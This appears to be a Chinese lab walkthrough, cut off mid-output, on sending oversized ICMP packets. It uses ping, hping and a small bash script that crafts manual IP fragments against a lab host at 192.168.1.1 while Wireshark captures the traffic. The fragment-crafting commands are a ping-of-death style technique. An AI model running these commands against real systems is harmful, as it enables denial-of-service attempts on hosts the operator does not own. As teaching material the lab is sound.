1. 在Web主机上定位wireshark上定义过滤器用来抓包
2. 在PC上用ping命令发送在和大小为70000的ICMP包
[root@localhost ~]# ping 192.168.1.1 -s 70000 -c 1
Error: packet size 70000 is too large. Maximum is 65507
##系统报错:允许发送的ICMP包的值最大为65507.
3. 用Hping命令,发送数据为7000的ICMP包
[root@localhost ~]# hping 192.168.1.1 -1 -d 70000 -c 1
HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 4464 data bytes
len=1500 ip=192.168.1.1 ttl=127 DF id=57 icmp_seq=0 rtt=39.8 ms
— 192.168.1.1 hping statistic —
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 39.8/39.8/39.8 ms
##可以看到,只截取了4464字节的数据
4. 在Web服务器上启用wireshark抓包
5. 在PC上编辑一个脚本,先发送两个小IP分片测试
[root@localhost ~]# vim pingcs.sh
[root@localhost ~]# more pingcs.sh
#!/bin/bash
hping 192.168.1.1 -1 -x -d 800 -N 100 -c 1
hping 192.168.1.1 -1 -d 200 -g 808 -N 100 -c 1
[root@localhost ~]# chmod +x pingcs.sh
[root@localhost ~]# ./pingcs.sh
HPING 192.168.1.1 (eth0 192.168.1.1): icmp...